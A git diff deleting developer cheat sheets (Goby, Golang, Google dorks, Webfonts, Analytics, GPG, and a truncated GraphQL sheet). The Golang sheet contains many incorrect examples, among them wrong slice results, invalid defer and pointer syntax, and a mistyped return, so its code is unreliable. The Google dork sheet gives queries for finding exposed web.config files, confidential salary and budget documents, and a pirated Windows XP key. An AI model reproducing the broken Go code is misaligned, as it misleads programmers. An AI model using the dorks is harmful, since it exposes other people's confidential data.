-» "moji".object_id
-#» 842352977920
-```
-
-### `#to_json`
-
-```ruby
-h = { a: 1, b: [1, "2", [4, 5, nil]]}
-h.to_json         # converts hash to JSON
-#=> {"a":1, "b":[1, "2", [4, 5, null]]}
-```
-
-### Customize `#to_json`
-
-Overwrite the `#to_json` in your class:
-
-```ruby
-class JobTitle
-  def initialize(name)
-    @name = name
-  end
-
-  def to_json
-    { title: @name }.to_json
-  end
-end
-
-class Person
-  def initialize(name, age)
-    @name = name
-    @age = age
-    @job = JobTitle.new("software engineer")
-  end
-
-  def to_json
-    { name: @name, age: @age, job: @job }.to_json
-  end
-end
-
-stan = Person.new("Stan", 23)
-h = { person: stan }
-h.to_json #=> {"person":{"name":"Stan","job":{"title":"software engineer"},"age":23}}
-```
-
-### Lazy enumeration
-
-To avoid N + 1 query.
-
-```ruby
-enumerator = [1, 2, 3].lazy.map do |value|
-	2 * value
-end
-result = []
-
-enumerator.each do |value|
-	result.push(value)
-end
-
-result  #=> [2, 4, 6]
-```
-
-You can call `#lazy.map` on `Array`, `Range`, or `JSON` objects.
-
-## Styling
-
-### Quick style guide
-
--   UTF-8 should be used.
--   Only two spaces ` ` should be used for one indentation.
-    -   Tab cannot be used for indentation.
--   For more, follow [RuboCop's style guide](https://github.com/bbatsov/ruby-style-guide) in principle.
-
-### Document notation
-
--   `Class#instance_method` -- use `#` to represent instance methods in documents
--   `Class.class_method`
--   `Module.module_method`
-
-### Syntax highlighting
-
-Ready for Vim and Sublime text. You can also use Ruby's syntax highlighting so far.
-
-## References
-
-### Official
-
--   Official site: [https://goby-lang.org/](https://goby-lang.org/)
--   Repository: [https://github.com/goby-lang/goby/](https://github.com/goby-lang/goby/)
--   DevHints: [https://devhints.io/goby](https://devhints.io/goby) (this page)
-
-### Readings for Goby developers
-
--   [Write an Interpreter in Go](https://interpreterbook.com/)
--   [Nand2Tetris II](https://www.coursera.org/learn/nand2tetris2/home/welcome)
--   [Ruby under a microscope](http://patshaughnessy.net/ruby-under-a-microscope)
--   [YARV's instruction table](http://www.atdot.net/yarv/insnstbl.html)
-
-### JP resource
-
--   [Goby: Ruby ライクな言語（1）Goby を動かしてみる](https://techracho.bpsinc.jp/hachi8833/2017_11_10/47787)
--   [Goby の組み込みクラスにメソッドを追加する方法](https://qiita.com/hanachin_/items/efc1c976a4f5749514ef)
diff --git a/docs/content/cheat-sheets/golang.md b/docs/content/cheat-sheets/golang.md
deleted file mode 100644
index 935680e7c0..0000000000
--- a/docs/content/cheat-sheets/golang.md
+++ /dev/null
@@ -1,820 +0,0 @@
-# Golang
-
-## Summary
-
--   Introduction
-    -   [Hello World](#hello-world)
-    -   [Go CLI Commands](#go-cli-commands)
-    -   [Go Modules](#go-modules)
--   Basic
-    -   [Basic Types](#basic-types)
-    -   [Variables](#variables)
-    -   [Operators](#operators)
-    -   [Conditional Statements](#conditional-statements)
-    -   [Loops](#loops)
-    -   [Arrays](#arrays)
-    -   [Functions](#functions)
--   Advanced
-    -   [Structs](#structs)
-    -   [Maps](#maps)
-    -   [Pointers](#pointers)
-    -   [Methods and Interfaces](#methods-and-interfaces)
-    -   [Errors](#errors)
-    -   [Testing](#testing)
-    -   [Concurrency](#concurrency)
--   Standard Libs
-    -   [Package fmt](#package-fmt)
-
-## Hello World
-
-```go
-package main
-
-import "fmt"
-
-func main() {
-    fmt.Println("Hello Gophers!")
-}
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Go CLI Commands
-
-```bash
-# Compile & Run code
-$ go run [file.go]
-
-# Compile
-$ go build [file.go]
-# Running compiled file
-$ ./hello
-
-# Test packages
-$ go test [folder]
-
-# Install packages/modules
-$ go install [package]
-
-# List installed packages/modules
-$ go list
-
-# Update packages/modules
-$ go fix
-
-# Format package sources
-$ go fmt
-
-# See package documentation
-$ go doc [package]
-
-# Add dependencies and install
-$ go get [module]
-
-# See Go environment variables
-$ go env
-
-# See version
-$ go version
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Go Modules
-
--   Go projects are called **modules**
--   Each module has multiple **packages**
--   Each package should has a scoped functionality. Packages talk to each other to compose the code
--   A module needs at least one package, the **main**
--   The package main needs a entry function called **main**
-
-```bash
-# Create Module
-$ go mod init [name]
-```
-
-Tip: By convention, modules names has the follow structure:
-
-domain.com/user/module/package
-
-Example: github.com/spf13/cobra
-
-<hr/>
-
-[Return to Summary](#summary)
-
-## Basic Types
-
-|    Type    |               Set of Values                |                    Values                     |
-| :--------: | :----------------------------------------: | :-------------------------------------------: |
-|    bool    |                  boolean                   |                  true/false                   |
-|   string   |            array of characters             |             needs to be inside ""             |
-|    int     |                  integers                  |             32 or 64 bit integer              |
-|    int8    |               8-bit integers               |                 [ -128, 128 ]                 |
-|   int16    |              16-bit integers               |               [ -32768, 32767]                |
-|   int32    |              32-bit integers               |          [ -2147483648, 2147483647]           |
-|   int64    |              64-bit integers               | [ -9223372036854775808, 9223372036854775807 ] |
-|   uint8    |          8-bit unsigned integers           |                  [ 0, 255 ]                   |
-|   uint16   |          16-bit unsigned integers          |                 [ 0, 65535 ]                  |
-|   uint32   |          32-bit unsigned integers          |               [ 0, 4294967295 ]               |
-|   uint64   |          64-bit unsigned integers          |          [ 0, 18446744073709551615 ]          |
-|  float32   |                32-bit float                |                                               |
-|  float64   |                64-bit float                |                                               |
-| complex64  | 32-bit float with real and imaginary parts |                                               |
-| complex128 | 64-bit float with real and imaginary parts |                                               |
-|    byte    |                sets of bits                |                alias for uint8                |
-|    rune    |             Unicode characters             |                alias for int32                |
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Variables
-
-```go
-// Declaration
-var value int
-
-// Initialization
-value = 10
-
-// Declaration + Initialization + Type inference
-var isActive = true
-
-// Short declaration (only inside functions)
-text := "Hello"
-
-// Multi declaration
-var i, j, k = 1, 2, 3
-
-// Variable not initialized = Zero values
-// Numeric: 0
-// Boolean: false
-// String: ""
-// Special value: nil (same as null)
-
-var number int // 0
-var text string // ""
-var boolean bool // false
-
-// Type conversions
-// T(v) converts v to type T
-
-i := 1.234 // float
-int(i) // 1
-
-// Constants
-const pi = 3.1415
-```
-
-<hr/>
-
-## Operators
-
-[Return to Summary](#summary)
-
-Arithmetic Operators
-| Symbol | Operation | Valid Types |
-|:------:|:-------------------:|:-----------------------------------------:|
-| `+` | Sum | integers, floats, complex values, strings |
-| `-` | Difference | integers, floats, complex values |
-| `*` | Product | integers, floats, complex values |
-| `/` | Quotient | integers, floats, complex values |
-| `%` | Remainder | integers |
-| `&` | Bitwise AND | integers |
-| `|` | Bitwise OR | integers |
-| `^` | Bitwise XOR | integers |
-| `&^` | Bit clear (AND NOT) | integers |
-| `<<` | Left shift | integer << unsigned integer |
-| `>>` | Right shift | integer >> unsigned integer |
-
-Comparison Operators
-| Symbol | Operation |
-|:------:|:----------------:|
-| `==` | Equal |
-| `!=` | Not equal |
-| `<` | Less |
-| `<=` | Less or equal |
-| `>` | Greater |
-| `>=` | Greater or equal |
-
-Logical Operators
-| Symbol | Operation |
-|:------:|:---------------:|
-| `&&` | Conditional AND |
-| `||` | Conditional OR |
-| `!` | NOT |
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Conditional Statements
-
-```go
-// If / Else
-i := 1
-
-if i > 0 {
-    // Condition is True! i is greater than zero
-} else {
-    // Condition is False! i is lower or equal to zero
-}
-
-// Else if
-i := 1
-
-if i > 0 {
-    // Condition is True! i is greater than zero
-} else if i > 0 && i < 2 {
-    // Condition is True! i greater than zero and lower than two
-} else if i > 1 && i < 4 {
-    // Condition is True! i greater than one and lower than four
-} else {
-    // None of the above conditions is True, so it falls here
-}
-
-// If with short statements
-i := 2.567
-
-if j := int(i); j == 2 {
-    // Condition is True! j, the integer value of i, is equal to two
-} else {
-    // Condition is False! j, the integer value of i, is not equal to two
-}
-
-// Switch
-text := 'hey'
-
-switch text {
-    case 'hey':
-        // 'Hello!'
-    case 'bye':
-        // 'Byee'
-    default:
-        // 'Ok'
-}
-
-// Switch without condition
-value := 5
-
-switch {
-    case value < 2:
-        // 'Hello!'
-    case value >= 2 && value < 6:
-        // 'Byee'
-    default:
-        // 'Ok'
-}
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Loops
-
-```go
-// Golang only has the for loop
-for i := 0; i < 10; i++ {
-    // i
-}
-
-// The first and third parameters are ommitable
-// For as a while
-i := 0;
-
-for i < 10 {
-    i++
-}
-
-// Forever loop
-for {
-
-}
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Arrays
-
-```go
-// Declaration with specified size
-var array [3]string
-array[0] = "Hello"
-array[1] = "Golang"
-array[2] = "World"
-
-// Declaration and Initialization
-values := [5]int{1, 2, 3, 4, 5}
-
-// Slices: A subarray that acts as a reference of an array
-// Determining min and max
-values[1:3] // {2, 3, 4}
-
-// Determining only max will use min = 0
-values[:2] // {1, 2, 3}
-
-// Determining only min will use max = last element
-values[3:] // {3, 4}
-
-// Length: number of elements that a slice contains
-len(values) // 5
-
-// Capacity: number of elements that a slice can contain
-values = values[:1]
-len(values) // 2
-cap(values) // 5
-
-// Slice literal
-slice := []bool{true, true, false}
-
-// make function: create a slice with length and capacity
-slice := make([]int, 5, 6) // make(type, len, cap)
-
-// Append new element to slice
-slice := []int{ 1, 2 }
-slice = append(slice, 3)
-slice // { 1, 2, 3 }
-slice = append(slice, 3, 2, 1)
-slice // { 1, 2, 3, 3, 2, 1 }
-
-// For range: iterate over a slice
-slice := string["W", "o", "w"]
-
-for i, value := range slice {
-    i // 0, then 1, then 2
-    value // "W", then "o", then "w"
-}
-
-// Skip index or value
-
-for i := range slice {
-    i // 0, then 1, then 2
-}
-
-for _, value := range slice {
-   value // "W", then "o", then "w"
-}
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Functions
-
-```go
-// Functions acts as a scoped block of code
-func sayHello() {
-    // Hello World!
-}
-sayHello() // Hello World!
-
-// Functions can take zero or more parameters, as so return zero or more parameters
-func sum(x int, y int) int {
-    return x + y
-}
-sum(3, 7) // 10
-
-// Returned values can be named and be used inside the function
-func doubleAndTriple(x int) (double, triple int) {
-    double = x * 2
-    triple = x * 3
-    return
-}
-d, t := doubleAndTriple(5)
-// d = 10
-// t = 15
-
-// Skipping one of the returned values
-_, t := doubleAndTriple(3)
-// t = 9
-
-// Functions can defer commands. Defered commands are
-// runned in a stack order after the execution and
-// returning of a function
-var aux = 0
-
-func switchValuesAndDouble(x, y int) {
-    aux = x
-    defer aux = 0 // cleaning variable to post use
-    x = y * 2
-    y = aux * 2
-}
-
-a, b = 2, 5
-switchValuesAndDouble(2, 5)
-
-// a = 10
-// b = 4
-// aux = 0
-
-// Functions can be handled as values and be anonymous functions
-func calc(fn func(int, int) int) int {
-    return fn(2, 6)
-}
-
-func sum(x, y int) int {
-    return x + y
-}
-
-func mult(x, y int) int {
-    return x * y
-}
-
-calc(sum) // 8
-calc(mult) // 12
-calc(
-    func(x, y int) int {
-		return x / y
-    }
-) // 3
-
-// Function closures: a function that returns a function
-// that remembers the original context
-func calc() func(int) int {
-    value := 0
-    return func(x int) int {
-        value += x
-        return value
-    }
-}
-
-calculator := calc()
-calculator(3) // 3
-calculator(45) // 48
-calculator(12) // 60
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Structs
-
-Structs are a way to arrange data in specific formats.
-
-```go
-// Declaring a struct
-type Person struct {
-    Name string
-    Age int
-}
-
-// Initializing
-person := Person{"John", 34}
-person.Name // "John"
-person.Age // 34
-
-person2 := Person{Age: 20}
-person2.Name // ""
-person2.Age // 20
-
-person3 := Person{}
-person3.Name // ""
-person3.Age // 0
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Maps
-
-Maps are data structures that holds values assigneds to a key.
-
-```go
-// Declaring a map
-var cities map[string]string
-
-// Initializing
-cities = make(map[string]string)
-cities // nil
-
-// Insert
-cities["NY"] = "EUA"
-
-// Retrieve
-newYork = cities["NY"]
-newYork // "EUA"
-
-// Delete
-delete(cities, "NY")
-
-// Check if a key is setted
-value, ok := cities["NY"]
-ok // false
-value // ""
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Pointers
-
-Pointers are a direct reference to a memory address that some variable or value is being stored.
-
-```go
-// Pointers has *T type
-var value int
-var pointer *int
-
-// Point to a variable memory address with &
-value = 3
-pointer = &value
-
-pointer // 3
-pointer = 20
-pointer // 20
-pointer += 5
-pointer // 25
-
-// Pointers to structs can access the attributes
-type Struct struct {
-    X int
-}
-
-s := Struct{3}
-pointer := &s
-
-s.X // 3
-```
-
-Obs: Unlike C, Go doesn't have pointer arithmetics.
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Methods and Interfaces
-
-Go doesn't have classes. But you can implement methods, interfaces and almost everything contained in OOP, but in what gophers call "Go Way"
-
-```go
-type Dog struct {
-    Name string
-}
-
-func (dog *Dog) bark() string {
-    return dog.Name + " is barking!"
-}
-
-dog := Dog{"Rex"}
-dog.bark() // Rex is barking!
-```
-
-Interfaces are implicitly implemented. You don't need to inform that your struct are correctly implementing a interface if it already has all methods with the same name of the interface.
-All structs implement the `interface{}` interface. This empty interface means the same as `any`.
-
-```go
-// Car implements Vehicle interface
-type Vehicle interface {
-    Accelerate()
-}
-
-type Car struct {
-
-}
-
-func (car *Car) Accelerate() {
-    return "Car is moving on ground"
-}
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Errors
-
-Go doesn't support `throw`, `try`, `catch` and other common error handling structures. Here, we use `error` package to build possible errors as a returning parameter in functions
-
-```go
-import "errors"
-
-// Function that contain a logic that can cause a possible exception flow
-func firstLetter(text string) (string, error) {
-    if len(text) < 1 {
-        return nil, errors.New("Parameter text is empty")
-    }
-    return string(text[0]), nil
-}
-
-a, errorA := firstLetter("Wow")
-a // "W"
-errorA // nil
-
-b, errorB := firstLetter("")
-b // nil
-errorB // Error("Parameter text is empty")
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Testing
-
-Go has a built-in library to unit testing. In a separate file you insert tests for functionalities of a file and run `go test package` to run all tests of the actual package or `go test path` to run a specific test file.
-
-```go
-// main.go
-func Sum(x, y int) int {
-    return x + y
-}
-
-// main_test.go
-import (
-    "testing"
-    "reflect"
-)
-
-func TestSum(t *testing.T) {
-    x, y := 2, 4
-    expected := 2 + 4
-
-    if !reflect.DeepEqual(Sum(x, y), expected) {
-        t.Fatalf("Function Sum not working as expected")
-    }
-}
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Concurrency
-
-One of the main parts that make Go attractive is its form to handle with concurrency. Different than parallelism, where tasks can be separated in many cores that the machine processor have, in concurrency we have routines that are more lightweight than threads and can run asynchronously, with memory sharing and in a single core.
-
-```go
-// Consider a common function, but that function can delay itself because some processing
-func show(from string) {
-	for i := 0; i < 3; i++ {
-		fmt.Printf("%s : %d\n", from, i)
-	}
-}
-
-// In a blocking way...
-func main() {
-	show("blocking1")
-	show("blocking2")
-
-	fmt.Println("done")
-}
-/*  blocking1: 0
-    blocking1: 1
-    blocking1: 2
-    blocking2: 0
-    blocking2: 1
-    blocking2: 2
-    done
-*/
-
-// Go routines are a function (either declared previously or anonymous) called with the keyword go
-func main() {
-	go show("routine1")
-	go show("routine2")
-
-	go func() {
-		fmt.Println("going")
-	}()
-
-	time.Sleep(time.Second)
-
-	fmt.Println("done")
-}
-
-/*  Obs: The result will depends of what processes first
-    routine2: 0
-    routine2: 1
-    routine2: 2
-    going
-    routine1: 0
-    routine1: 1
-    routine1: 2
-    done
-*/
-
-// Routines can share data with channels
-// Channels are queues that store data between multiple routines
-msgs := make(chan string)
-
-go func(channel chan string) {
-    channel <- "ping"
-}(msgs)
-
-go func(channel chan string) {
-    channel <- "pong"
-}(msgs)
-
-fmt.Println(<-msgs) // pong
-fmt.Println(<-msgs) // ping
-
-// Channels can be bufferized. Buffered channels will accept a limited number of values and when someone try to put belong their limit, it will throw and error
-numbers := make(chan int, 2)
-
-msgs<-0
-msgs<-1
-msgs<-2
-
-// fatal error: all goroutines are asleep - deadlock!
-
-// Channels can be passed as parameter where the routine can only send or receive
-numbers := make(chan int)
-
-go func(sender chan<- int) {
-    sender <- 10
-}(numbers)
-
-go func(receiver <-chan int) {
-    fmt.Println(<-receiver) // 10
-}(numbers)
-
-time.Sleep(time.Second)
-
-// When working with multiple channels, the select can provide a control to execute code accordingly of what channel has bring a message
-c1 := make(chan string)
-c2 := make(chan string)
-
-select {
-case msg1 := <-c1:
-    fmt.Println("received", msg1)
-case msg2 := <-c2:
-    fmt.Println("received", msg2)
-default:
-    fmt.Println("no messages")
-}
-
-go func() {
-    time.Sleep(1 * time.Second)
-    c1 <- "channel1 : one"
-}()
-go func() {
-    time.Sleep(2 * time.Second)
-    c2 <- "channel2 : one"
-}()
-
-for i := 0; i < 2; i++ {
-    select {
-    case msg1 := <-c1:
-        fmt.Println("received", msg1)
-    case msg2 := <-c2:
-        fmt.Println("received", msg2)
-    }
-}
-
-/*
-    no messages
-    received channel1: one
-    received channel2: one
-*/
-
-// Channels can be closed and iterated
-channel := make(chan int, 5)
-
-for i := 0; i < 5; i++ {
-    channel <- i
-}
-
-close(channel)
-
-for value := range channel {
-    fmt.Println(value)
-}
-
-/*
-    0
-    1
-    2
-    3
-    4
-*/
-```
-
-[Return to Summary](#summary)
-
-<hr/>
-
-## Package `fmt`
-
-```go
-import "fmt"
-
-fmt.Print("Hello World") // Print in console
-fmt.Println("Hello World") // Print and add a new line in end
-fmt.Printf("%s is %d years old", "John", 32) // Print with formatting
-fmt.Errorf("User %d not found", 123) // Print a formatted error
-```
-
-[Return to Summary](#summary)
-
-<hr/>
diff --git a/docs/content/cheat-sheets/google-dork-cheatsheet.md b/docs/content/cheat-sheets/google-dork-cheatsheet.md
deleted file mode 100644
index cb3dafdb01..0000000000
--- a/docs/content/cheat-sheets/google-dork-cheatsheet.md
+++ /dev/null
@@ -1,99 +0,0 @@
-# Google dork cheatsheet
-
-Googling Cheat Sheet
-
-### Search filters
-
-| Filter                                  | Description                                                                                       | Example                                               |
-| --------------------------------------- | ------------------------------------------------------------------------------------------------- | ----------------------------------------------------- |
-| allintext                               | Searches for occurrences of all the keywords given.                                               | `allintext:"keyword"`                                 |
-| intext                                  | Searches for the occurrences of keywords all at once or one at a time.                            | `intext:"keyword"`                                    |
-| inurl                                   | Searches for a URL matching one of the keywords.                                                  | `inurl:"keyword"`                                     |
-| allinurl                                | Searches for a URL matching all the keywords in the query.                                        | `allinurl:"keyword"`                                  |
-| intitle                                 | Searches for occurrences of keywords in title all or one.                                         | `intitle:"keyword"`                                   |
-| allintitle                              | Searches for occurrences of keywords all at a time.                                               | `allintitle:"keyword"`                                |
-| site                                    | Specifically searches that particular site and lists all the results for that site.               | `site:"www.google.com"`                               |
-| filetype                                | Searches for a particular filetype mentioned in the query.                                        | `filetype:"pdf"`                                      |
-| link                                    | Searches for external links to pages.                                                             | `link:"keyword"`                                      |
-| numrange                                | Used to locate specific numbers in your searches.                                                 | `numrange:321-325`                                    |
-| before/after                            | Used to search within a particular date range.                                                    | `filetype:pdf & (before:2000-01-01 after:2001-01-01)` |
-| allinanchor (and also inanchor)         | This shows sites which have the keyterms in links pointing to them, in order of the most links.   | `inanchor:rat`                                        |
-| allinpostauthor (and also inpostauthor) | Exclusive to blog search, this one picks out blog posts that are written by specific individuals. | `allinpostauthor:"keyword"`                           |
-| related                                 | List web pages that are "similar" to a specified web page.                                        | `related:www.google.com`                              |
-| cache                                   | Shows the version of the web page that Google has in its cache.                                   | `cache:www.google.com`                                |
-
-### Examples
-
-```
-intext:"index of /"
-Nina Simone intitle:"index.of" "parent directory" "size" "last modified" "description" I Put A Spell On You (mp4|mp3|avi|flac|aac|ape|ogg) -inurl:(jsp|php|html|aspx|htm|cf|shtml|lyrics-realm|mp3-collection) -site:.info
-Bill Gates intitle:"index.of" "parent directory" "size" "last modified" "description" Microsoft (pdf|txt|epub|doc|docx) -inurl:(jsp|php|html|aspx|htm|cf|shtml|ebooks|ebook) -site:.info
-parent directory DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
-parent directory MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
-parent directory Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
-filetype:config inurl:web.config inurl:ftp
-"Windows XP Professional" 94FBR
-ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential salary | intext:"budget approved") inurl:confidential
-ext:(doc | pdf | xls | txt | ps | rtf | odt | sxw | psw | ppt | pps | xml) (intext:confidential salary | intext:"budget approved") inurl:confidential
-```
-
-### Operators
-
-**Search Term**
-
-This operator searches for the exact phrase within speech marks only. This is ideal when the phrase you are using to search is ambiguous and could be easily confused with something else, or when you're not quite getting relevant enough results back. For example:
-
-```
-"Tinned Sandwiches"
-```
-
-**OR**
-
-This self explanatory operator searches for a given search term OR an equivalent term.
-
-```
-site:facebook.com | site:twitter.com
-```
-
-**AND**
-
-```
-site:facebook.com & site:twitter.com
-```
-
-**Operators combinaison**
-
-```
-(site:facebook.com | site:twitter.com) & intext:"login"
-(site:facebook.com | site:twitter.com) (intext:"login")
-```
-
-**Include results**
-
-This will order results by the number of occurrence of the keyword.
-
-```
--site:facebook.com +site:facebook.*
-```
-
-**Exclude results**
-
-```
-site:facebook.* -site:facebook.com
-```
-
-**Synonyms**
-
-Adding a tilde to a search word tells Google that you want it to bring back synonyms for the term as well. For example, entering "\~set" will bring back results that include words like "configure", "collection" and "change" which are all synonyms of "set". Fun fact: "set" has the most definitions of any word in the dictionary.
-
-```
-~set
-```
-
-**Glob pattern (\*)**
-
-Putting an asterisk in a search tells Google ‘I don't know what goes here'. Basically, it's really good for finding half remembered song lyrics or names of things.
-
-```
-site:*.com
-```
diff --git a/docs/content/cheat-sheets/google-webfonts.md b/docs/content/cheat-sheets/google-webfonts.md
deleted file mode 100644
index e753d9e4fb..0000000000
--- a/docs/content/cheat-sheets/google-webfonts.md
+++ /dev/null
@@ -1,44 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Google Webfonts
-
-intro: |
-Short snippets on using [Google Webfonts](https://google.com/fonts) in a web page.
-
----
-
-### Link tag
-
-<!-- prettier-ignore -->
-```html
-<link href="http://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css" />
-```
-
-### CSS import
-
-<!-- prettier-ignore -->
-```css
-/* One font */
-@import url('https://fonts.googleapis.com/css?family=Open+Sans:400,700');
-
-/* Combining multiple fonts */
-@import url('https://fonts.googleapis.com/css?family=Open+Sans:400,400italic|Montserrat:400,700'');
-```
-
-Great for using with [Codepen.io](https://codepen.io/) or similar websites!
diff --git a/docs/content/cheat-sheets/google_analytics.md b/docs/content/cheat-sheets/google_analytics.md
deleted file mode 100644
index 45bba37a68..0000000000
--- a/docs/content/cheat-sheets/google_analytics.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-## title: Google Analytics
-
-### Pageview
-
-    // Analytics.js
-    ga('create', 'UA-XXXX-Y', 'auto');
-    ga('send', 'pageview');
-
-### Track events
-
-    // ga.js
-    // [..., category, action, label, value (int), noninteraction (bool)]
-    _gaq.push(['_trackEvent', 'Videos', 'Play', 'Birthday video', true])
-    _gaq.push(['_trackEvent', 'Projects', 'Donate', 'Project name'])
-    _gaq.push(['_trackEvent', 'Accounts', 'Login'])
-
-    // Analytics.js
-    //       ,        ,  category,  action,  label,         value (int)
-    ga('send', 'event', 'button',   'click', 'nav buttons', 4);
-
-### Variables
-
-    // [..., index, name, value, scope (optional)]
-    _gaq.push(['_setCustomVar', 1, 'Logged in', 'Yes', 2]);
-
-    // Scope = 1 (visitor), 2 (session), 3 (page, default)
-
-https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingCustomVariables
-https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide
diff --git a/docs/content/cheat-sheets/gpg.md b/docs/content/cheat-sheets/gpg.md
deleted file mode 100644
index 3bbae480d5..0000000000
--- a/docs/content/cheat-sheets/gpg.md
+++ /dev/null
@@ -1,213 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# Create a key
-
-gpg --gen-key
-
-# Show keys
-
-To list a summary of all keys
-
-    gpg --list-keys
-
-To show your public key
-
-    gpg --armor --export
-
-To show the fingerprint for a key
-
-    gpg --fingerprint KEY_ID
-
-# Search for keys
-
-gpg --search-keys 'user@emailaddress.com'
-
-# To Encrypt a File
-
-gpg --encrypt --recipient 'user@emailaddress.com' example.txt
-
-# To Decrypt a File
-
-gpg --output example.txt --decrypt example.txt.gpg
-
-# Export keys
-
-gpg --output ~/public_key.txt --armor --export KEY_ID
-gpg --output ~/private_key.txt --armor --export-secret-key KEY_ID
-
-Where KEY_ID is the 8 character GPG key ID.
-
-Store these files to a safe location, such as a USB drive, then
-remove the private key file.
-
-    shred -zu ~/private_key.txt
-
-# Import keys
-
-Retrieve the key files which you previously exported.
-
-    gpg --import ~/public_key.txt
-    gpg --allow-secret-key-import --import ~/private_key.txt
-
-Then delete the private key file.
-
-    shred -zu ~/private_key.txt
-
-# Revoke a key
-
-Create a revocation certificate.
-
-    gpg --output ~/revoke.asc --gen-revoke KEY_ID
-
-Where KEY_ID is the 8 character GPG key ID.
-
-After creating the certificate import it.
-
-    gpg --import ~/revoke.asc
-
-Then ensure that key servers know about the revokation.
-
-    gpg --send-keys KEY_ID
-
-# Signing and Verifying files
-
-If you're uploading files to launchpad you may also want to include
-a GPG signature file.
-
-    gpg -ba filename
-
-or if you need to specify a particular key:
-
-    gpg --default-key <key ID> -ba filename
-
-This then produces a file with a .asc extension which can be uploaded.
-If you need to set the default key more permanently then edit the
-file ~/.gnupg/gpg.conf and set the default-key parameter.
-
-To verify a downloaded file using its signature file.
-
-gpg --verify filename.asc
-
-# Signing Public Keys
-
-Import the public key or retrieve it from a server.
-
-    gpg --keyserver <keyserver> --recv-keys <Key_ID>
-
-Check its fingerprint against any previously stated value.
-
-    gpg --fingerprint <Key_ID>
-
-Sign the key.
-
-    gpg --sign-key <Key_ID>
-
-Upload the signed key to a server.
-
-    gpg --keyserver <keyserver> --send-key <Key_ID>
-
-# Change the email address associated with a GPG key
-
-gpg --edit-key <key ID>
-adduid
-
-Enter the new name and email address. You can then list the addresses with:
-
-    list
-
-If you want to delete a previous email address first select it:
-
-    uid <list number>
-
-Then delete it with:
-
-    deluid
-
-To finish type:
-
-    save
-
-Publish the key to a server:
-
-    gpg --send-keys <key ID>
-
-# Creating Subkeys
-
-Subkeys can be useful if you don't wish to have your main GPG key
-installed on multiple machines. In this way you can keep your
-master key safe and have subkeys with expiry periods or which may be
-separately revoked installed on various machines. This avoids
-generating entirely separate keys and so breaking any web of trust
-which has been established.
-
-    gpg --edit-key <key ID>
-
-At the prompt type:
-
-    addkey
-
-Choose RSA (sign only), 4096 bits and select an expiry period.
-Entropy will be gathered.
-
-At the prompt type:
-
-    save
-
-You can also repeat the procedure, but selecting RSA (encrypt only).
-To remove the master key, leaving only the subkey/s in place:
-
-    gpg --export-secret-subkeys <subkey ID> > subkeys
-    gpg --export <key ID> > pubkeys
-    gpg --delete-secret-key <key ID>
-
-Import the keys back.
-
-    gpg --import pubkeys subkeys
-
-Verify the import.
-
-    gpg -K
-
-Should show sec# instead of just sec.
-
-# High-quality options for gpg for symmetric (secret key) encryption
-
-This is what knowledgable people consider a good set of options for
-symmetric encryption with gpg to give you a high-quality result.
-
-gpg \
- --symmetric \
- --cipher-algo aes256 \
- --digest-algo sha512 \
- --cert-digest-algo sha512 \
- --compress-algo none -z 0 \
- --s2k-mode 3 \
- --s2k-digest-algo sha512 \
- --s2k-count 65011712 \
- --force-mdc \
- --pinentry-mode loopback \
- --armor \
- --no-symkey-cache \
- --output somefile.gpg \
- somefile # to encrypt
-
-gpg \
- --decrypt \
- --pinentry-mode loopback \
- --armor \
- --output somefile.gpg \
- somefile # to decrypt
diff --git a/docs/content/cheat-sheets/graphql.md b/docs/content/cheat-sheets/graphql.md
deleted file mode 100644
index 9229113af4..0000000000
--- a/docs/content/cheat-sheets/graphql.md
+++ /dev/null
@@ -1,302 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: GraphQL
-
-category: API
-
----
-
-## Intro
-
-## Queries
-
-### Basic query
-
-```js
-{
-    status;
-}
-```
-
-#### ↓
-
-```js
-{
-    status: 'available';
-}
-```
-
-{: .-setup}
-
-### Nesting
-
-```js
-{ hero { name height } }
-```
-
-#### ↓
-
-```js
-{ hero:
-    { name: "Luke Skywalker",
-      height: 1.74 } }
-```
-
-{: .-setup}
-
-### Lists
-
-```js
-{ friends { name } }
-```
-
-#### ↓
-
-```js
-{
